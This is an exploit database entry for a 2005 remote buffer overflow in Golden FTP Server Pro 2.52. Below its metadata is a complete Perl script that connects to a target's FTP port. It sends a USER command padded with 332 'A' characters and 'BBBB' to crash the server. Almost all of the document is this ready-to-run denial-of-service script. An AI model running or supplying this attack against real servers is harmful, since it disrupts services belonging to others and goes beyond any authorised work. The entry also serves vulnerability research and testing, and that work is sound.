Golden FTP Server Pro 2.52 - 'USER' Remote Buffer Overflow

Author: Reed Arvin
type: dos
platform: windows
port: 
date_added: 2005-04-26  
date_updated:   
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comGolden_FTP_Server_Pro_v2.50.zip  

raw file: 1160.pl  
#===== Start GoldenFTPServer_Overflow.pl =====
#
# Usage: GoldenFTPServer_Overflow.pl <ip>
#        GoldenFTPServer_Overflow.pl 127.0.0.1
#
# KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005)
#
# Download:
# http://www.goldenftpserver.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill Golden FTP Server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER " . "A" x 332 . "BBBB\r\n";

        sleep(1);

        print $socket "PASS " . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End GoldenFTPServer_Overflow.pl =====

# milw0rm.com [2005-04-27]